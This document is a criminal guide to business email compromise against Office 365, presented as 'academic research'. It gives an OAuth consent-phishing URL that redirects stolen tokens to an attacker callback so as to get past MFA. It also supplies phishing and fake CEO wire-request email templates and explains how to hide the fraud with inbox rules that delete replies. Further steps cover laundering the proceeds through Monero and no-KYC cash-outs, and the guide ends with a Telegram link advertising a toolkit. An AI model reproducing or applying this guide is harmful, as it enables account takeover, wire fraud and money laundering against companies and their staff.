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Operational Security Guide v2.2
(For Academic Cybersecurity Research Only)
📖 Table of Contents
1. Introduction (Why This Method Works in 2025)
2. Phase 0: Tools & Setup (Mandatory OPSEC Prep)
3. Phase 1: OAuth Token Harvesting (Bypass MFA)
4. Phase 2: CEO Fraud Execution (The Wire Transfer Scam)
5. Phase 3: Money Laundering (Clean Cash-Out Methods)
6. OPSEC Rules (Avoid Getting Caught)
7. Resources & Next Steps
🔍 Introduction: Why This Method Dominates in
2024
Business Email Compromise (BEC) scams generate $2.7 billion
annually (FBI 2023), and Office 365 remains the #1 target due to:
✅ MFA Bypass: OAuth token theft bypasses multi-factor authentication
✅ High Success Rate: 43% of employees fall for "CEO urgent payment"
scams
✅ Low Technical Barrier: No malware, no exploits – pure social engineering
This guide breaks down the exact 3-phase process used by top threat
actors, with:
Real-world tested email templates
OAuth phishing configurations
Clean cash-out strategies
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⚠️ Warning: This is for educational purposes only. Microsoft patches
🛠️ Phase 0: Tools & Setup (Mandatory Prep
vulnerabilities quickly – adapt or get caught.
Work)
1. Phishing Kit (Office 365 Edition)
GoPhish "Office 365 Pack" (Pre-configured with Microsoft login
templates)
SMTP Service (Use bulletproof hosting—DM for providers)
Token Capture Proxy (Hosted on a VPS with SSL encryption)
Target List (Scrape finance@ , accounting@ , payroll@ , and CFO assistants)
2. Infrastructure (Burner OPSEC)
VPN (No logs, paid with crypto)
VPS (Host phishing page + token capture)
Burner Domain (Register .com with fake WHOIS)
TextNow Pro (For verification calls)
🔰 Phase 1: OAuth Token Harvesting (Bypass
MFA)
Step 1: Clone the Microsoft Login Page
Use the "Office 365 Security Alert" template from GoPhish
Modify the redirect URI to point to your token capture server:
<https://login.microsoftonline.com/common/oauth2/authorize>?
client_id=YOUR_FAKE_APP&
redirect_uri=https://your-phish-domain.com/callback&
response_type=code&scope=email+openid+profile+offline_access+
https://graph.microsoft.com/Mail.ReadWrite+https://graph.microsof
t.com/Calendars.ReadWrite
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Key: The scope parameter requests full email + calendar access.
Step 2: Craft the Lure Email
📨 Sender: security@office365-notice[.]com (Spoofed)
📌 Subject: URGENT: Unusual Sign-in Attempt (Action Required)
📝 Email Body:
Dear {{FirstName}},
Our system detected a suspicious login attempt from **Kyiv, Ukraine (I
P: 194.54.82.11)**.
If this wasn’t you, secure your account immediately:
🔐 [Verify Activity Now] {{.URL}}
If you recognize this activity, ignore this message.
— Microsoft Office 365 Security Team
✅ Why This Works:
Geolocation fear (Ukraine = hacker hotspot)
Legit-looking sender (employees trust Microsoft)
"Ignore if recognized" reduces suspicion
Step 3: Deploy & Monitor
Send Time: 8:30 AM - 10:00 AM (When targets check emails)
Monitor GoPhish Dashboard:
Track who clicks
Check captured OAuth tokens
Auto-Forward Emails: Set up a rule in the compromised inbox to
forward CFO emails to your burner.
💰 Phase 2: CEO Fraud Execution (Wire Transfer
Scam)
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Step 1: Study the CEO’s Email Patterns
Check Sent Folder: Analyze how the CEO writes (formal/casual?)
Find a Recent Vendor Email: Reply to an existing thread for authenticity.
Step 2: Send the Fake Wire Request
📨 Sender:
[email protected] (Hijacked account)
📌 Subject: URGENT: Invoice #INV-4872 Payment Required
📝 Email Body:
Team,
We need to process an **urgent payment** to our vendor **ASAP**.
- **Amount:** $287,500.00
- **Due Date:** Today EOD
- **Bank Details:** [Attached]
This is time-sensitive—confirm once processed.
— John
CEO
📎 Attach: A fake invoice (Use real vendor names from past emails)
Step 3: Cover Tracks (Critical)
1. Delete the sent email from "Sent" folder
2. Set up an inbox rule to auto-delete replies
3. Block the CFO’s calendar (Prevent verification calls)
💸 Phase 3: Money Laundering (Cash-Out Guide)
Step 1: Route Funds to Crypto
Use a vetted OTC desk (DM for contacts)
Convert to XMR (Monero) → then to BTC (for liquidity)
Step 2: Cash Out Safely
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BTC → Prepaid cards (P2P exchanges like Paxful)
ATM withdrawals (No-KYC Bitcoin ATMs)
Stablecoin swaps (USDT → Cash via local dealers)
🚨 OPSEC Rules (Avoid Detection)
✅ Burn tokens in 48h (Microsoft flags unusual access)
✅ Never say "wire transfer" (Use "vendor payment")
✅ Use a clean device (No personal phones/laptops)
✅ VPN + Proxy Chain (Hide your IP)
📢 Need More Resources?
Pre-hacked CEO email templates
Fake invoice
Crypto cash-out guides
👉 Join TG: https://t.me/+2AYLTAMDTqkyNWM0
⚠️ Microsoft patches fast—use this while it lasts.
(Reply "BEC" if you want the full toolkit.) 🚀
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